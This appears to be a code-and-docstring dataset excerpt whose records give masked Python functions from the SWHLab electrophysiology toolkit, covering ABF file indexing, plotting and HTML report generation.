{"signature": "def HTML_results(resultsFile):", "body": "foldersByDay=loadResults(resultsFile)<EOL><INDENT>for day in sorted(list(foldersByDay.keys())):<EOL><INDENT>if time.strptime(day,\"<STR_LIT>\")<time.strptime(\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>del foldersByDay[day]<EOL><DEDENT><DEDENT><DEDENT>html=\"<STR_LIT>\"<EOL>html+=\"<STR_LIT>\"<EOL>html+=\"<STR_LIT>\"<EOL>html+=\"<STR_LIT>\"<EOL>html=html.replace(\"<STR_LIT>\",(time.strftime('<STR_LIT>', time.localtime())))<EOL>html+=\"<STR_LIT>\"*<NUM_LIT:5><EOL>html+=\"<STR_LIT>\"<EOL>html+=\"<STR_LIT>\"<EOL>lastMonth=\"<STR_LIT>\"<EOL>lastYear=\"<STR_LIT>\"<EOL>for day in sorted(list(foldersByDay.keys())):<EOL><INDENT>month=day[:<NUM_LIT:7>]<EOL>year=day[:<NUM_LIT:4>]<EOL>if year!=lastYear:<EOL><INDENT>html+=\"<STR_LIT>\"%year<EOL>lastYear=year<EOL><DEDENT>if month!=lastMonth:<EOL><INDENT>html+=\"<STR_LIT>\"%month<EOL>lastMonth=month<EOL><DEDENT>html+=\"<STR_LIT>\"%(day,day[<NUM_LIT:8>:])<EOL><DEDENT>html+=\"<STR_LIT>\"*<NUM_LIT:5><EOL>html=html.replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>html+=\"<STR_LIT>\"<EOL>html+=\"<STR_LIT>\"<EOL>for day in sorted(list(foldersByDay.keys())):<EOL><INDENT>dt=datetime.datetime.strptime(day, \"<STR_LIT>\" )<EOL>classPrefix=\"<STR_LIT>\"<EOL>if int(dt.weekday())><NUM_LIT:4>:<EOL><INDENT>classPrefix=\"<STR_LIT>\"<EOL><DEDENT>html+=\"<STR_LIT>\"%(day,day)<EOL>title=\"<STR_LIT>\"%(day,DAYSOFWEEK[dt.weekday()])<EOL>html+=\"<STR_LIT>\"%(classPrefix,title)<EOL>html+=\"<STR_LIT>\"%(classPrefix)<EOL>for folder in foldersByDay[day]:<EOL><INDENT>if \"<STR_LIT>\" in folder:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" in folder:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" and \"<STR_LIT>\" in folder:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" in folder:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" in folder:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" in folder:<EOL><INDENT>continue<EOL><DEDENT>html+=\"<STR_LIT>\"%folder<EOL><DEDENT>html+=\"<STR_LIT>\"<EOL><DEDENT>fnameSave=resultsFile+\"<STR_LIT>\"<EOL>html=html.replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>with open(fnameSave,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(HTML_TEMPLATE.replace(\"<STR_LIT>\",\"<STR_LIT>\"+html))<EOL><DEDENT>print(\"<STR_LIT>\",fnameSave)<EOL>", "docstring": "generates HTML report of active folders/days.", "id": "f11339:m3"}
{"signature": "def clampfit_rename(path,char):", "body": "assert len(char)==<NUM_LIT:1> and type(char)==str, \"<STR_LIT>\"<EOL>assert os.path.exists(path), \"<STR_LIT>\"<EOL>files = sorted(os.listdir(path))<EOL>files = [x for x in files if len(x)><NUM_LIT> and x[<NUM_LIT:4>]+x[<NUM_LIT:7>]+x[<NUM_LIT:10>]=='<STR_LIT>']<EOL>for fname in files:<EOL><INDENT>fname2 = list(fname)<EOL>fname2[<NUM_LIT:11>]=char<EOL>fname2=\"<STR_LIT>\".join(fname2)<EOL>if fname==fname2:<EOL><INDENT>print(fname, \"<STR_LIT>\", fname2)<EOL><DEDENT>else:<EOL><INDENT>print(fname, \"<STR_LIT>\", fname2)<EOL><INDENT>fname=os.path.join(path,fname)<EOL>fname2=os.path.join(path,fname2)<EOL>if not os.path.exists(fname2):<EOL><INDENT>os.rename(fname,fname2)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return<EOL>", "docstring": "Given ABFs and TIFs formatted long style, rename each of them to prefix their number with a different number.\n\nExample: 2017_10_11_0011.abf\nBecomes: 2017_10_11_?011.abf\nwhere ? can be any character.", "id": "f11340:m0"}
{"signature": "def frameAndSave(abf,tag=\"<STR_LIT>\",dataType=\"<STR_LIT>\",saveAsFname=False,closeWhenDone=True):", "body": "print(\"<STR_LIT>\",closeWhenDone)<EOL>plt.tight_layout()<EOL>plt.subplots_adjust(top=<NUM_LIT>,bottom =<NUM_LIT>)<EOL>plt.annotate(tag,(<NUM_LIT>,<NUM_LIT>),xycoords='<STR_LIT>',ha='<STR_LIT:left>',va='<STR_LIT>',family='<STR_LIT>',size=<NUM_LIT:10>,alpha=<NUM_LIT>)<EOL>msgBot=\"<STR_LIT>\"%(abf.ID,abf.protocomment)<EOL>plt.annotate(msgBot,(<NUM_LIT>,<NUM_LIT>),xycoords='<STR_LIT>',ha='<STR_LIT:left>',va='<STR_LIT>',family='<STR_LIT>',size=<NUM_LIT:10>,alpha=<NUM_LIT>)<EOL>fname=tag.lower().replace(\"<STR_LIT:U+0020>\",'<STR_LIT:_>')+\"<STR_LIT>\"<EOL>fname=dataType+\"<STR_LIT:_>\"+fname<EOL>plt.tight_layout()<EOL>if IMAGE_SAVE:<EOL><INDENT>abf.log.info(\"<STR_LIT>\",fname)<EOL>try:<EOL><INDENT>if saveAsFname:<EOL><INDENT>saveAs=os.path.abspath(saveAsFname)<EOL><DEDENT>else:<EOL><INDENT>saveAs=os.path.abspath(abf.outPre+fname)<EOL><DEDENT>if not os.path.exists(abf.outFolder):<EOL><INDENT>os.mkdir(abf.outFolder)<EOL><DEDENT>plt.savefig(saveAs)<EOL><DEDENT>except Exception as E:<EOL><INDENT>abf.log.error(\"<STR_LIT>\",fname)<EOL>print(E)<EOL><DEDENT><DEDENT>if IMAGE_SHOW==True:<EOL><INDENT>if closeWhenDone==False:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>abf.log.info(\"<STR_LIT>\",fname)<EOL>plt.show()<EOL><DEDENT><DEDENT>if closeWhenDone:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL><DEDENT>", "docstring": "frame the current matplotlib plot with ABF info, and optionally save it.\nNote that this is entirely independent of the ABFplot class object.\nif saveImage is False, show it instead.\n\nDatatype should be:\n    * plot\n    * experiment", "id": "f11342:m0"}
{"signature": "def __init__(self,abf):", "body": "self.log = logging.getLogger(\"<STR_LIT>\")<EOL>self.log.setLevel(swhlab.loglevel)<EOL>self.close(True) <EOL>if type(abf) is str:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>abf=ABF(abf)<EOL><DEDENT>self.abf=abf<EOL>self.figure_width=<NUM_LIT:10><EOL>self.figure_height=<NUM_LIT:5><EOL>self.figure_dpi=<NUM_LIT><EOL>self.subplot=False <EOL>self.gridAlpha=<NUM_LIT><EOL>self.title=os.path.basename(abf.filename)<EOL>self.traceColor='<STR_LIT:b>'<EOL>self.kwargs={\"<STR_LIT>\":<NUM_LIT>}<EOL>self.rainbow=True<EOL>self.colormap=\"<STR_LIT>\"<EOL>self.marginX,self.marginY=<NUM_LIT:0>,<NUM_LIT><EOL>self.log.debug(\"<STR_LIT>\")<EOL>", "docstring": "Load an ABF and get ready to plot stuff.", "id": "f11342:c0:m0"}
{"signature": "def figure(self,forceNew=False):", "body": "if plt._pylab_helpers.Gcf.get_num_fig_managers()><NUM_LIT:0> and forceNew is False:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if self.subplot:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>plt.figure(figsize=(self.figure_width,self.figure_height))<EOL><DEDENT>", "docstring": "make sure a figure is ready.", "id": "f11342:c0:m1"}
{"signature": "def save(self,callit=\"<STR_LIT>\",closeToo=True,fullpath=False):", "body": "if fullpath is False:<EOL><INDENT>fname=self.abf.outPre+\"<STR_LIT>\"+callit+\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>fname=callit<EOL><DEDENT>if not os.path.exists(os.path.dirname(fname)):<EOL><INDENT>os.mkdir(os.path.dirname(fname))<EOL><DEDENT>plt.savefig(fname)<EOL>self.log.info(\"<STR_LIT>\",os.path.basename(fname))<EOL>if closeToo:<EOL><INDENT>plt.close()<EOL><DEDENT>", "docstring": "save the existing figure. does not close it.", "id": "f11342:c0:m4"}
{"signature": "def comments(self,minutes=False):", "body": "if self.comments==<NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>self.log.debug(\"<STR_LIT>\")<EOL>for i,t in enumerate(self.abf.comment_times):<EOL><INDENT>if minutes:<EOL><INDENT>t/=<NUM_LIT><EOL><DEDENT>plt.axvline(t,color='<STR_LIT:r>',ls='<STR_LIT::>')<EOL>X1,X2,Y1,Y2=plt.axis()<EOL>Y2=Y2-abs(Y2-Y1)*<NUM_LIT><EOL>plt.text(t,Y2,self.abf.comment_tags[i],color='<STR_LIT:r>',rotation='<STR_LIT>',<EOL>ha='<STR_LIT:right>',va='<STR_LIT>',weight='<STR_LIT>',alpha=<NUM_LIT>,size=<NUM_LIT:8>,)<EOL><DEDENT>", "docstring": "Add comment lines/text to an existing plot. Defaults to seconds.\nCall after a plot has been made, and after margins have been set.", "id": "f11342:c0:m7"}
{"signature": "def figure_chronological(self):", "body": "self.log.debug(\"<STR_LIT>\")<EOL>self.figure()<EOL>for sweep in range(self.abf.sweeps):<EOL><INDENT>self.abf.setsweep(sweep)<EOL>self.setColorBySweep()<EOL>if self.abf.derivative:<EOL><INDENT>plt.plot(self.abf.sweepX,self.abf.sweepD,**self.kwargs)<EOL><DEDENT>else:<EOL><INDENT>plt.plot(self.abf.sweepX,self.abf.sweepY,**self.kwargs)<EOL><DEDENT><DEDENT>self.comments()<EOL>self.decorate()<EOL>", "docstring": "plot every sweep of an ABF file (with comments).", "id": "f11342:c0:m9"}
{"signature": "def figure_sweeps(self, offsetX=<NUM_LIT:0>, offsetY=<NUM_LIT:0>):", "body": "self.log.debug(\"<STR_LIT>\")<EOL>self.figure()<EOL>for sweep in range(self.abf.sweeps):<EOL><INDENT>self.abf.setsweep(sweep)<EOL>self.setColorBySweep()<EOL>plt.plot(self.abf.sweepX2+sweep*offsetX,<EOL>self.abf.sweepY+sweep*offsetY,<EOL>**self.kwargs)<EOL><DEDENT>if offsetX:<EOL><INDENT>self.marginX=<NUM_LIT><EOL><DEDENT>self.decorate()<EOL>", "docstring": "plot every sweep of an ABF file.", "id": "f11342:c0:m11"}
{"signature": "def figure_protocol(self):", "body": "self.log.debug(\"<STR_LIT>\")<EOL>self.figure()<EOL>plt.plot(self.abf.protoX,self.abf.protoY,color='<STR_LIT:r>')<EOL>self.marginX=<NUM_LIT:0><EOL>self.decorate(protocol=True)<EOL>", "docstring": "plot the current sweep protocol.", "id": "f11342:c0:m12"}
{"signature": "def figure_protocols(self):", "body": "self.log.debug(\"<STR_LIT>\")<EOL>self.figure()<EOL>for sweep in range(self.abf.sweeps):<EOL><INDENT>self.abf.setsweep(sweep)<EOL>plt.plot(self.abf.protoX,self.abf.protoY,color='<STR_LIT:r>')<EOL><DEDENT>self.marginX=<NUM_LIT:0><EOL>self.decorate(protocol=True)<EOL>", "docstring": "plot the protocol of all sweeps.", "id": "f11342:c0:m13"}
{"signature": "def doStuff(ABFfolder,analyze=False,convert=False,index=True,overwrite=True,<EOL>launch=True):", "body": "IN=INDEX(ABFfolder)<EOL>if analyze:<EOL><INDENT>IN.analyzeAll()<EOL><DEDENT>if convert:<EOL><INDENT>IN.convertImages()<EOL><DEDENT>", "docstring": "Inelegant for now, but lets you manually analyze every ABF in a folder.", "id": "f11343:m0"}
{"signature": "def analyzeSingle(abfFname):", "body": "assert os.path.exists(abfFname) and abfFname.endswith(\"<STR_LIT>\")<EOL>ABFfolder,ABFfname=os.path.split(abfFname)<EOL>abfID=os.path.splitext(ABFfname)[<NUM_LIT:0>]<EOL>IN=INDEX(ABFfolder)<EOL>IN.analyzeABF(abfID)<EOL>IN.scan()<EOL>IN.html_single_basic([abfID],overwrite=True)<EOL>IN.html_single_plot([abfID],overwrite=True)<EOL>IN.scan()<EOL>IN.html_index()<EOL>return<EOL>", "docstring": "Reanalyze data for a single ABF. Also remakes child and parent html.", "id": "f11343:m1"}
{"signature": "def __init__(self,ABFfolder):", "body": "logging.basicConfig(format=swhlab.logFormat, datefmt=swhlab.logDateFormat, level=swhlab.loglevel)<EOL>self.log = logging.getLogger(\"<STR_LIT>\")<EOL>self.log.setLevel(swhlab.loglevel)<EOL>if not type(ABFfolder) is str or not os.path.isdir(ABFfolder):<EOL><INDENT>self.log.error(\"<STR_LIT>\",ABFfolder)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>self.log.info(\"<STR_LIT>\",ABFfolder)<EOL><DEDENT>self.folder1=os.path.abspath(ABFfolder) <EOL>self.folder2=os.path.abspath(ABFfolder+\"<STR_LIT>\") <EOL>if not os.path.isdir(self.folder2):<EOL><INDENT>self.log.debug(\"<STR_LIT>\",self.folder2)<EOL>os.mkdir(self.folder2)<EOL><DEDENT>self.scan()<EOL>self.groups=cm.abfGroups(self.folder1) <EOL>self.log.debug(\"<STR_LIT>\",len(self.groups))<EOL>nChildren=[len(x) for x in self.groups.values()]<EOL>self.log.debug(\"<STR_LIT>\",np.average(nChildren))<EOL>self.groupFiles=cm.abfGroupFiles(self.groups,self.folder2)<EOL>nChildrenFiles=[len(x) for x in self.groupFiles.values()]<EOL>self.log.debug(\"<STR_LIT>\",np.average(nChildrenFiles))<EOL>", "docstring": "The SWHLab INDEX class allows a web-browsable index of ABF data.\n\nThis is intended to allow:\n  * Automatic analysis of ABF files and output of data images\n  * Watching of directories and automatic analysis of new ABFs\n  * Manipulation and enhancement of micrographs (even multichannel)\n  * creation of individual HTML pages for ABFs, cells, and folders\n\nGeneral sequence:\n  * convert folder1 TIFs to JPGs\n  * analyze data for cells that need it\n  * create their individual pages for cells that need it\n  * create master index", "id": "f11343:c0:m0"}
{"signature": "def scan(self):", "body": "t1=cm.timeit()<EOL>self.files1=cm.list_to_lowercase(sorted(os.listdir(self.folder1)))<EOL>self.files2=cm.list_to_lowercase(sorted(os.listdir(self.folder2)))<EOL>self.files1abf=[x for x in self.files1 if x.endswith(\"<STR_LIT>\")]<EOL>self.files1abf=cm.list_to_lowercase(cm.abfSort(self.files1abf))<EOL>self.IDs=[x[:-<NUM_LIT:4>] for x in self.files1abf]<EOL>self.log.debug(\"<STR_LIT>\",len(self.files1))<EOL>self.log.debug(\"<STR_LIT>\",len(self.files1abf))<EOL>self.log.debug(\"<STR_LIT>\",len(self.files2))<EOL>self.log.debug(\"<STR_LIT>\",cm.timeit(t1))<EOL>", "docstring": "scan folder1 and folder2 into files1 and files2.\nsince we are on windows, simplify things by making them all lowercase.\nthis WILL cause problems on 'nix operating systems.If this is the case,\njust run a script to rename every file to all lowercase.", "id": "f11343:c0:m1"}
{"signature": "def convertImages(self):", "body": "<EOL>exts=['<STR_LIT>','<STR_LIT>']<EOL>for fname in [x for x in self.files1 if cm.ext(x) in exts]:<EOL><INDENT>ID=\"<STR_LIT>\"<EOL>if len(fname)><NUM_LIT:8> and fname[:<NUM_LIT:8>] in self.IDs:<EOL><INDENT>ID=fname[:<NUM_LIT:8>]<EOL><DEDENT>fname2=ID+\"<STR_LIT>\"+fname<EOL>if not fname2 in self.files2:<EOL><INDENT>self.log.info(\"<STR_LIT>\"%fname2)<EOL>shutil.copy(os.path.join(self.folder1,fname),os.path.join(self.folder2,fname2))<EOL><DEDENT>if not fname[:<NUM_LIT:8>]+\"<STR_LIT>\" in self.files1:<EOL><INDENT>self.log.error(\"<STR_LIT>\",fname)<EOL><DEDENT><DEDENT>exts=['<STR_LIT>','<STR_LIT>']<EOL>for fname in [x for x in self.files1 if cm.ext(x) in exts]:<EOL><INDENT>ID=\"<STR_LIT>\"<EOL>if len(fname)><NUM_LIT:8> and fname[:<NUM_LIT:8>] in self.IDs:<EOL><INDENT>ID=fname[:<NUM_LIT:8>]<EOL><DEDENT>fname2=ID+\"<STR_LIT>\"+fname+\"<STR_LIT>\"<EOL>if not fname2 in self.files2:<EOL><INDENT>self.log.info(\"<STR_LIT>\"%fname2)<EOL>imaging.TIF_to_jpg(os.path.join(self.folder1,fname),saveAs=os.path.join(self.folder2,fname2))<EOL><DEDENT>if not fname[:<NUM_LIT:8>]+\"<STR_LIT>\" in self.files1:<EOL><INDENT>self.log.error(\"<STR_LIT>\",fname)<EOL><DEDENT><DEDENT>", "docstring": "run this to turn all folder1 TIFs and JPGs into folder2 data.\nTIFs will be treated as micrographs and converted to JPG with enhanced\ncontrast. JPGs will simply be copied over.", "id": "f11343:c0:m2"}
{"signature": "def analyzeAll(self):", "body": "searchableData=str(self.files2)<EOL>self.log.debug(\"<STR_LIT>\",len(self.IDs))<EOL>for ID in self.IDs:<EOL><INDENT>if not ID+\"<STR_LIT:_>\" in searchableData:<EOL><INDENT>self.log.debug(\"<STR_LIT>\",ID)<EOL>try:<EOL><INDENT>self.analyzeABF(ID)<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\"*<NUM_LIT:100>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.log.debug(\"<STR_LIT>\",ID)<EOL><DEDENT><DEDENT>self.log.debug(\"<STR_LIT>\",len(self.IDs))<EOL>", "docstring": "analyze every unanalyzed ABF in the folder.", "id": "f11343:c0:m3"}
{"signature": "def analyzeABF(self,ID):", "body": "for fname in self.files2:<EOL><INDENT>if fname.startswith(ID+\"<STR_LIT>\"):<EOL><INDENT>self.log.debug(\"<STR_LIT>\",fname)<EOL>os.remove(os.path.join(self.folder2,fname))<EOL><DEDENT><DEDENT>self.log.info(\"<STR_LIT>\",ID)<EOL>protocols.analyze(os.path.join(self.folder1,ID+\"<STR_LIT>\"))<EOL>", "docstring": "Analye a single ABF: make data, index it.\nIf called directly, will delete all ID_data_ and recreate it.", "id": "f11343:c0:m4"}
{"signature": "def htmlFor(self,fname):", "body": "if os.path.splitext(fname)[<NUM_LIT:1>].lower() in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>html='<STR_LIT>'%(fname,fname)<EOL>if \"<STR_LIT>\" in fname:<EOL><INDENT>html=html.replace('<STR_LIT>','<STR_LIT>')<EOL><DEDENT>if \"<STR_LIT>\" in fname:<EOL><INDENT>html=html.replace('<STR_LIT>','<STR_LIT>')<EOL><DEDENT>if \"<STR_LIT>\" in fname:<EOL><INDENT>html=html.replace('<STR_LIT>','<STR_LIT>')<EOL><DEDENT><DEDENT>elif os.path.splitext(fname)[<NUM_LIT:1>].lower() in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>html='<STR_LIT>'%fname<EOL><DEDENT>else:<EOL><INDENT>html='<STR_LIT>'%fname<EOL><DEDENT>return html<EOL>", "docstring": "return appropriate HTML determined by file extension.", "id": "f11343:c0:m5"}
{"signature": "def html_single_basic(self,abfID,launch=False,overwrite=False):", "body": "if type(abfID) is str:<EOL><INDENT>abfID=[abfID]<EOL><DEDENT>for thisABFid in cm.abfSort(abfID):<EOL><INDENT>parentID=cm.parent(self.groups,thisABFid)<EOL>saveAs=os.path.abspath(\"<STR_LIT>\"%(self.folder2,parentID))<EOL>if overwrite is False and os.path.basename(saveAs) in self.files2:<EOL><INDENT>continue<EOL><DEDENT>filesByType=cm.filesByType(self.groupFiles[parentID])<EOL>html=\"<STR_LIT>\"<EOL>html+='<STR_LIT>'<EOL>html+='<STR_LIT>'%parentID<EOL>html+='<STR_LIT>'%os.path.abspath(self.folder1+\"<STR_LIT:/>\"+parentID+\"<STR_LIT>\")<EOL>html+='<STR_LIT>'<EOL>catOrder=[\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"]<EOL>categories=cm.list_order_by(filesByType.keys(),catOrder)<EOL>for category in [x for x in categories if len(filesByType[x])]:<EOL><INDENT>if category=='<STR_LIT>':<EOL><INDENT>html+=\"<STR_LIT>\"<EOL><DEDENT>elif category=='<STR_LIT>':<EOL><INDENT>html+=\"<STR_LIT>\"<EOL><DEDENT>elif category=='<STR_LIT>':<EOL><INDENT>html+=\"<STR_LIT>\"<EOL><DEDENT>elif category=='<STR_LIT>':<EOL><INDENT>html+=\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>html+=\"<STR_LIT>\"<EOL><DEDENT>for fname in filesByType[category]:<EOL><INDENT>html+=self.htmlFor(fname)<EOL><DEDENT>html+='<STR_LIT>'*<NUM_LIT:3><EOL><DEDENT>print(\"<STR_LIT>\",saveAs,'<STR_LIT>')<EOL>style.save(html,saveAs,launch=launch)<EOL><DEDENT>", "docstring": "generate a generic flat file html for an ABF parent. You could give\nthis a single ABF ID, its parent ID, or a list of ABF IDs.\nIf a child ABF is given, the parent will automatically be used.", "id": "f11343:c0:m6"}
{"signature": "def html_single_plot(self,abfID,launch=False,overwrite=False):", "body": "if type(abfID) is str:<EOL><INDENT>abfID=[abfID]<EOL><DEDENT>for thisABFid in cm.abfSort(abfID):<EOL><INDENT>parentID=cm.parent(self.groups,thisABFid)<EOL>saveAs=os.path.abspath(\"<STR_LIT>\"%(self.folder2,parentID))<EOL>if overwrite is False and os.path.basename(saveAs) in self.files2:<EOL><INDENT>continue<EOL><DEDENT>filesByType=cm.filesByType(self.groupFiles[parentID])<EOL>html=\"<STR_LIT>\"<EOL>html+='<STR_LIT>'<EOL>html+='<STR_LIT>'%parentID<EOL>html+='<STR_LIT>'%os.path.abspath(self.folder1+\"<STR_LIT:/>\"+parentID+\"<STR_LIT>\")<EOL>html+='<STR_LIT>'<EOL>for fname in filesByType['<STR_LIT>']:<EOL><INDENT>html+=self.htmlFor(fname)<EOL><DEDENT>print(\"<STR_LIT>\",saveAs,'<STR_LIT>')<EOL>style.save(html,saveAs,launch=launch)<EOL><DEDENT>", "docstring": "create ID_plot.html of just intrinsic properties.", "id": "f11343:c0:m7"}
{"signature": "def filesByExtension(fnames):", "body": "byExt={\"<STR_LIT>\":[],\"<STR_LIT>\":[],\"<STR_LIT>\":[]} <EOL>for fname in fnames:<EOL><INDENT>ext = os.path.splitext(fname)[<NUM_LIT:1>].replace(\"<STR_LIT:.>\",'<STR_LIT>').lower()<EOL>if not ext in byExt.keys():<EOL><INDENT>byExt[ext]=[]<EOL><DEDENT>byExt[ext]=byExt[ext]+[fname]<EOL><DEDENT>return byExt<EOL>", "docstring": "given a list of files, return a dict organized by extension.", "id": "f11344:m0"}
{"signature": "def findCells(fnames):", "body": "IDs=[]<EOL>filesByExt = filesByExtension(fnames)<EOL>for abfFname in filesByExt['<STR_LIT>']:<EOL><INDENT>ID=os.path.splitext(abfFname)[<NUM_LIT:0>]<EOL>for picFname in filesByExt['<STR_LIT>']+filesByExt['<STR_LIT>']:<EOL><INDENT>if picFname.startswith(ID):<EOL><INDENT>IDs.append(ID)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return smartSort(IDs)<EOL>", "docstring": "given a list of files, return a list of cells by their ID.\nA cell is indicated when an ABF name matches the start of another file.\n\nExample:\n    123456.abf\n    123456-whatever.tif", "id": "f11344:m1"}
{"signature": "def filesByCell(fnames,cells):", "body": "byCell={}<EOL>fnames=smartSort(fnames)<EOL>days = list(set([elem[:<NUM_LIT:5>] for elem in fnames if elem.endswith(\"<STR_LIT>\")])) <EOL>for day in smartSort(days):<EOL><INDENT>parent=None<EOL>for i,fname in enumerate([elem for elem in fnames if elem.startswith(day) and elem.endswith(\"<STR_LIT>\")]):<EOL><INDENT>ID=os.path.splitext(fname)[<NUM_LIT:0>]<EOL>if len([x for x in fnames if x.startswith(ID)])-<NUM_LIT:1>:<EOL><INDENT>parent=ID<EOL><DEDENT>if not parent in byCell:<EOL><INDENT>byCell[parent]=[]<EOL><DEDENT>byCell[parent]=byCell[parent]+[fname]<EOL><DEDENT><DEDENT>return byCell<EOL>", "docstring": "given files and cells, return a dict of files grouped by cell.", "id": "f11344:m2"}
{"signature": "def __init__(self,abfFolder,loglevel=logging.DEBUG):", "body": "self.log = logging.getLogger(\"<STR_LIT>\")<EOL>self.log.setLevel(loglevel)<EOL>if not os.path.isdir(abfFolder):<EOL><INDENT>self.log.error(\"<STR_LIT>\",abfFolder)<EOL><DEDENT>else:<EOL><INDENT>self.folderScan(abfFolder)<EOL><DEDENT>", "docstring": "This class allows indexing of ABFs in directories.\n\nCell organization:\n    Experiments are intended to place all their ABFs in the same \n    directory, with a new cell designated by a file ending in .TIF \n    matching the same name of a file ending in .abf.\n\nNaming convension:\n    abfFolder (./) has the ABFs\n        fnames - all the files in this folder\n        abfnames - all the abf files in this folder\n        cells - all the cell IDs\n    abfFolder2 (./swhlab/) has data generated by these scripts\n        fnames2 - all the files in this folder\n\nNotes:\n    the term ID is used to define the name of a cell as the filename\n    of its first abf without the abf extension. i.e., 16o01009", "id": "f11344:c0:m0"}
{"signature": "def folderScan(self,abfFolder=None):", "body": "if abfFolder is None and '<STR_LIT>' in dir(self):<EOL><INDENT>abfFolder=self.abfFolder<EOL><DEDENT>else:<EOL><INDENT>self.abfFolder=abfFolder<EOL><DEDENT>self.abfFolder=os.path.abspath(self.abfFolder)<EOL>self.log.info(\"<STR_LIT>\",self.abfFolder)<EOL>if not os.path.exists(self.abfFolder):<EOL><INDENT>self.log.error(\"<STR_LIT>\",abfFolder)<EOL>return<EOL><DEDENT>self.abfFolder2=os.path.abspath(self.abfFolder+\"<STR_LIT>\")<EOL>if not os.path.exists(self.abfFolder2):<EOL><INDENT>self.log.error(\"<STR_LIT>\")            <EOL>os.mkdir(self.abfFolder2)<EOL><DEDENT>self.fnames=os.listdir(self.abfFolder)<EOL>self.fnames2=os.listdir(self.abfFolder2)<EOL>self.log.debug(\"<STR_LIT>\",len(self.fnames))<EOL>self.log.debug(\"<STR_LIT>\",len(self.fnames2))<EOL>self.fnamesByExt = filesByExtension(self.fnames)<EOL>if not \"<STR_LIT>\" in self.fnamesByExt.keys():<EOL><INDENT>self.log.error(\"<STR_LIT>\")<EOL><DEDENT>self.log.debug(\"<STR_LIT>\",len(self.fnamesByExt[\"<STR_LIT>\"]))<EOL>self.cells=findCells(self.fnames) <EOL>self.log.debug(\"<STR_LIT>\"%len(self.cells))<EOL>self.fnamesByCell = filesByCell(self.fnames,self.cells) <EOL>self.log.debug(\"<STR_LIT>\"%str([len(self.fnamesByCell[elem]) for elem in self.fnamesByCell]))<EOL>", "docstring": "populate class properties relating to files in the folder.", "id": "f11344:c0:m1"}
{"signature": "def html_index(self,launch=False,showChildren=False):", "body": "self.makePics() <EOL>html='<STR_LIT>'%os.path.basename(self.abfFolder)<EOL>for ID in smartSort(self.fnamesByCell.keys()):<EOL><INDENT>link='<STR_LIT>'<EOL>if ID+\"<STR_LIT>\" in self.fnames2:<EOL><INDENT>link='<STR_LIT>'%ID<EOL><DEDENT>html+=('<STR_LIT>'%(link,ID)) <EOL>if showChildren:<EOL><INDENT>for fname in self.fnamesByCell[ID]:<EOL><INDENT>thisID=os.path.splitext(fname)[<NUM_LIT:0>]<EOL>files2=[x for x in self.fnames2 if x.startswith(thisID) and not x.endswith(\"<STR_LIT>\")]<EOL>html+='<STR_LIT>'%thisID <EOL>if len(files2):<EOL><INDENT>html+='<STR_LIT>'%len(files2) <EOL><DEDENT>html+='<STR_LIT>'<EOL><DEDENT>html+=\"<STR_LIT>\"<EOL><DEDENT><DEDENT>style.save(html,self.abfFolder2+\"<STR_LIT>\")<EOL>self.html_index_splash() <EOL>style.frames(self.abfFolder2+\"<STR_LIT>\",launch=launch)<EOL>", "docstring": "generate list of cells with links. keep this simple.\nautomatically generates splash page and regnerates frames.", "id": "f11344:c0:m2"}
{"signature": "def html_index_splash(self):", "body": "html=\"\"\"<STR_LIT>\"\"\"%version.__version__<EOL>for parent in smartSort(self.fnamesByCell.keys()):<EOL><INDENT>html+='<STR_LIT>'%(parent,parent)<EOL>for child in self.fnamesByCell[parent]:<EOL><INDENT>fullpath=os.path.join(self.abfFolder,child)<EOL>protocol = swhlab.swh_abf.abfProtocol(fullpath)<EOL>html+='<STR_LIT>'%(fullpath,protocol)<EOL><DEDENT><DEDENT>style.save(html,self.abfFolder2+\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "generate landing page.", "id": "f11344:c0:m3"}
{"signature": "def html_single_basic(self,ID):", "body": "if not ID in self.cells:<EOL><INDENT>self.log.error(\"<STR_LIT>\",ID)<EOL>return<EOL><DEDENT>htmlFname=os.path.abspath(self.abfFolder2+\"<STR_LIT:/>\"+ID+\"<STR_LIT>\")<EOL>html=\"<STR_LIT>\"%ID<EOL>npics=<NUM_LIT:0><EOL>for childID in [os.path.splitext(x)[<NUM_LIT:0>] for x in self.fnamesByCell[ID]]:<EOL><INDENT>pics=[x for x in self.fnames2 if x.startswith(childID) and os.path.splitext(x)[<NUM_LIT:1>].lower() in [\"<STR_LIT>\",\"<STR_LIT>\"]]<EOL>html+=\"<STR_LIT>\"%(os.path.abspath(self.abfFolder+'<STR_LIT:/>'+childID+\"<STR_LIT>\"))<EOL>for i,pic in enumerate(pics):<EOL><INDENT>html+='<STR_LIT>'%(pic,pic)<EOL>npics+=<NUM_LIT:1><EOL><DEDENT>html+=\"<STR_LIT>\"<EOL><DEDENT>style.save(html,htmlFname)<EOL>self.log.info(\"<STR_LIT>\",htmlFname,npics)<EOL>", "docstring": "generate ./swhlab/xxyxxzzz.html for a single given abf.\nInput can be an ABF file path of ABF ID.", "id": 